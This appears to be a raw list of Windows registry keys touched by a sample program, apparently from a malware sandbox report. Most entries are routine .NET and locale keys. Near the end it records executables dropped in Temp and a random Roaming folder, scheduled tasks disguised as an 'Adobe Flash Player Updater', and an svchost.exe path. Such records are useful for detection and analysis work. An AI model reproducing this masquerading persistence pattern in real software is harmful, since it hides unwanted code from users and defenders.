HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000 HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6ad4fc49\4c342a49 HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Windows.Forms__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\407700e0\5a03390d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|NSE.exe HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|NSE.exe HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|NSE.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\407700e0\d13eb2c HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ad60644\6f323003 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\235dd0a9 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\9e47f51 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun HKEY_CURRENT_USER\Software\Microsoft\Command Processor HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\filename.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|zxftyytre|filename.exe HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|zxftyytre|filename.exe HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|zxftyytre|filename.exe HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable HKEY_CURRENT_USER\Software\Classes HKEY_CURRENT_USER\Software\Classes\AppID\schtasks.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater\Id HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000 HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\cmd.exe HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\schtasks.exe HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\SchedulingEngineKnob HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\svchost.exe HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\svchost.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Path HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{42EF5567-14D0-45CC-8A3E-B4114DF78E91}\Hash HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update\Update\Id 